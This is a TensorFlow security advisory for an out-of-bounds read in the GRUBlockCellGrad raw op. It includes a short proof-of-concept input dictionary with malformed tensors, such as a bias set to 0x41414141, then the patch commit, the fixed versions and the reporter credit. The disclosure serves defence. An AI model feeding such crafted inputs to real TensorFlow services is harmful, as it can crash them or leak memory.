TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad

Impact

Out of bounds read in GRUBlockCellGrad

```python

func = tf.raw_ops.GRUBlockCellGrad

para = {'x': [[21.1, 156.2], [83.3, 115.4]], 'h_prev': array([[136.5],

[136.6]]), 'w_ru': array([[26.7, 0.8],

[47.9, 26.1],

[26.2, 26.3]]), 'w_c': array([[ 0.4],

[31.5],

[ 0.6]]), 'b_ru': array([0.1, 0.2 ], dtype=float32), 'b_c': 0x41414141, 'r': array([[0.3],

[0.4]], dtype=float32), 'u': array([[5.7],

[5.8]]), 'c': array([[52.9],

[53.1]]), 'd_h': array([[172.2],

[188.3 ]])}

`

Patches

We have patched the issue in GitHub commit [ff459137c2716a2a60f7d441b855fcb466d778cb](https://github.com/tensorflow/tensorflow/commit/ff459137c2716a2a60f7d441b855fcb466d778cb).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by r3pwnx.